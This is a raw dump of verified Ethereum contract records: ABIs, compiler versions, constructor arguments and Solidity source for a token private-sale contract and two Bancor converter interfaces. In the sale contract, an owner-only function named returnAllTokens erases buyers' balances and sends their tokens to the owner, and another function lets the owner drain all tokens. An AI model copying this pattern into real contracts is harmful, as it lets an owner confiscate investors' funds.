ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

AgnosticPrivateSale

AgnosticPrivateSale.sol

0x12076676fa376b1ca425a54ef04b036f7e2af154

Solidity

pragma solidity 0.6.0; // AgnosticPrivateSale library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint value) external returns (bool success); } contract AgnosticPrivateSale { using SafeMath for uint256; uint256 public totalSold; ERC20 public Token; address payable public owner; uint256 public constant decimals = 18; uint256 private constant _precision = 10 ** decimals; uint256 public startDate; bool ableToClaim; bool sellSystem; struct User { uint256 accountBalance; } mapping(address => User) public users; address[] public allUsers; constructor(address token) public { owner = msg.sender; Token = ERC20(token); ableToClaim = false; sellSystem = true; startDate = now; } function contribute() external payable { require(sellSystem); require(msg.value >= 0.01 ether); uint256 amount = msg.value; if (now.sub(startDate) <= 2 days) { amount = amount.mul(100); } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) { amount = amount.mul(95); } else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) { amount = amount.mul(90); } else if(now.sub(startDate) > 4 days && now.sub(startDate) <= 5 days) { amount = amount.mul(85); } else if(now.sub(startDate) > 5 days && now.sub(startDate) <= 6 days) { amount = amount.mul(80); } else if(now.sub(startDate) > 6 days && now.sub(startDate) <= 7 days) { amount = amount.mul(75); } amount = amount.div(100); totalSold = totalSold.add(amount); users[msg.sender].accountBalance = users[msg.sender].accountBalance.add(amount); allUsers.push(msg.sender); owner.transfer(msg.value); } function returnAllTokens() public { require(msg.sender == owner); require(ableToClaim); for (uint id = 0; id < allUsers.length; id++) { address getAddressUser = allUsers[id]; uint256 value = users[getAddressUser].accountBalance; users[getAddressUser].accountBalance = users[getAddressUser].accountBalance.sub(value); if(value != 0){ Token.transfer(msg.sender, value); } } } function claimTokens() public { require(ableToClaim); uint256 value = users[msg.sender].accountBalance; users[msg.sender].accountBalance = users[msg.sender].accountBalance.sub(value); Token.transfer(msg.sender, value); } function openClaimSystem (bool _ableToClaim) public { require(msg.sender == owner); ableToClaim = _ableToClaim; } function closeSellSystem () public { require(msg.sender == owner); sellSystem = false; } function liqudity() public { require(msg.sender == owner); Token.transfer(msg.sender, Token.balanceOf(address(this))); } function availableTokens() public view returns(uint256) { return Token.balanceOf(address(this)); } function yourTokens() public view returns(uint256) { return users[msg.sender].accountBalance; } function showTime() public view returns(uint256 _now, uint256 nextRound, uint256 timeToNextRound, uint256 percentPriceNow) { uint256 price = 150; if (now.sub(startDate) <= 2 days) { price = 100; } else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) { price = 105; } else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) { price = 110; } else if(now.sub(startDate) > 4 days && now.sub(startDate) <= 5 days) { price = 115; } else if(now.sub(startDate) > 5 days && now.sub(startDate) <= 6 days) { price = 120; } else if(now.sub(startDate) > 6 days && now.sub(startDate) <= 7 days) { price = 125; } return (now, startDate, now.sub(startDate), price); } }

[{"inputs":[{"internalType":"address","name":"token","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"allUsers","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"availableTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"closeSellSystem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contribute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_ableToClaim","type":"bool"}],"name":"openClaimSystem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnAllTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"showTime","outputs":[{"internalType":"uint256","name":"_now","type":"uint256"},{"internalType":"uint256","name":"nextRound","type":"uint256"},{"internalType":"uint256","name":"timeToNextRound","type":"uint256"},{"internalType":"uint256","name":"percentPriceNow","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"uint256","name":"accountBalance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yourTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

v0.6.0+commit.26b70077

000000000000000000000000164b76d48ab64ff4f28c3bffe2ef82d8910cecc7

Default

MIT

ipfs://5a51a1f920757ffce844dcd71ae830c79f9034d9d816ebc4a43b19b02c289526

BancorConverter

contracts/converter/interfaces/IBancorConverter.sol

0x999053a876e4080c682cfb86a1b2382d8dfca517

Solidity

pragma solidity 0.4.26; /* Bancor Converter interface */ contract IBancorConverter { function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256, uint256); function convert2(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee) public returns (uint256); function quickConvert2(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee) public payable returns (uint256); function conversionsEnabled() public view returns (bool) {this;} function conversionWhitelist() public view returns (IWhitelist) {this;} function conversionFee() public view returns (uint32) {this;} function reserves(address _address) public view returns (uint256, uint32, bool, bool, bool) {_address; this;} function getReserveBalance(IERC20Token _reserveToken) public view returns (uint256); function reserveTokens(uint256 _index) public view returns (IERC20Token) {_index; this;} // deprecated, backward compatibility function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function connectors(address _address) public view returns (uint256, uint32, bool, bool, bool); function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256); function connectorTokens(uint256 _index) public view returns (IERC20Token); function connectorTokenCount() public view returns (uint16); }

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v0.4.26+commit.4563c3fc

0000000000000000000000001f573d6fb3f13d689ff844b4ce37794d79a7ff1c00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Default

None

bzzr://42a476440eb5be744557a7d6e5a04903cbf866203ca1609005ec891ef6d5e3df

BancorConverter

contracts/converter/interfaces/IBancorConverterUpgrader.sol

0x999053a876e4080c682cfb86a1b2382d8dfca517

Solidity

pragma solidity 0.4.26; /* Bancor Converter Upgrader interface */ contract IBancorConverterUpgrader { function upgrade(bytes32 _version) public; function upgrade(uint16 _version) public; }

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